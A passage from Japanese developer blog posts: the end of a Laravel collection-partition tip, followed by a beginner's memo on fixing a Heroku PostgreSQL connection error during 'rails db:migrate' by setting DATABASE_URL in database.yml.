          ->get();

return $users->partition(function ($user) {
  return $user->id === '0003';
})->flatten();
```

超スマート！！

# まとめ
ChatGPTに聞いたのは内緒だよ。

# 最後に
暇つぶしに[Twitter](https://twitter.com/izumin_0401)と[ブログ](https://traveler0401.com/)もやってるので見てね。
heroku run rails db:migrateでdbに接続ができないエラーが出た。

自分用備忘録です。初心者なので、間違っていることや、理解が違っていることがありましたら、教えていただけると幸いです。

## 問題
deviseでメール認証機能をつけたアプリをherokuにデプロイしようとした際、dbが見つからないというエラーが出た。

## 解決方法
database.ymlファイルのproductionに
  ```url: <%= ENV['DATABASE_URL'] %>```　を追加する。



#### [解決までの過程(記録用)]
deviseで管理者機能をつけたアプリをherokuにデプロイ。
 ```ruby
 % git push heroku master
 ``` 
 
 HerokuのダッシュボードのResourcesからadd on設定
 postgresqlを選択

 データベースの設定が完了したので、
 ```ruby
 % heroku run rails db:migrate
 ```
 
下記のエラーが発生しました。
 ```ruby
 Running rails db:migrate on ⬢ hidden-journey-83088... up, run.8327
rails aborted!
ActiveRecord::ConnectionNotEstablished: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: No such file or directory (ActiveRecord::ConnectionNotEstablished)
        Is the server running locally and accepting connections on that socket?
```

以前にも見たことあるPGSQL.5432" failed:エラーをみつけたので、dbが見つからないというエラーであることがわかった。デプロイは成功しているので、herokuで設定したdbとうまく接続ができていないのだと推測。



railsガイドを見てみると
[Railsガイド](https://railsguides.jp/configuring.html#%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9%E3%82%92%E8%A8%AD%E5%AE%9A%E3%81%99%E3%82%8B)

![スクリーンショット 2024-09-24 22.02.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3886372/5521c57b-74b9-5aa4-c0fc-83744374f43f.png)


[herokuDevcenter](https://devcenter.heroku.com/ja/articles/rails-database-connection-behavior)
![スクリーンショット 2024-09-24 21.21.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3886372/19a182ca-a1a8-582d-2a05-27e712fbc873.png)




database.ymlのproductionに
```ruby
url: <%= ENV['DATABASE_URL'] %>
```
を記述した。これは、Heroku環境でアプリがHerokuのPostgreSQLデータベースに接続できるようにするための設定です。


url: <%= ENV['DATABASE_URL'] %>は、Herokuでデータベース接続情報（URL）が環境変数DATABASE_URLとして提供されているため、その環境変数を使用して接続設定を行います。
Herokuでは、環境変数としてデータベースのURLが自動的に設定されているため、database.ymlのproduction環境でDATABASE_URLを使用することで、HerokuのPostgreSQLに接続できます。




再度変更したアプリをデプロイして、もう一度試してみる。
(念の為herokuで直接作成したdbを消して新たに作る)


コマンドで新しくDatabaseを作る。
```ruby
% heroku addons:create heroku-postgresql
```


```ruby
% heroku run rails db:migrate
``` 
で実行できました！

なぜ設定ができていなかったのか、よくわかりませんが、解決してよかったです。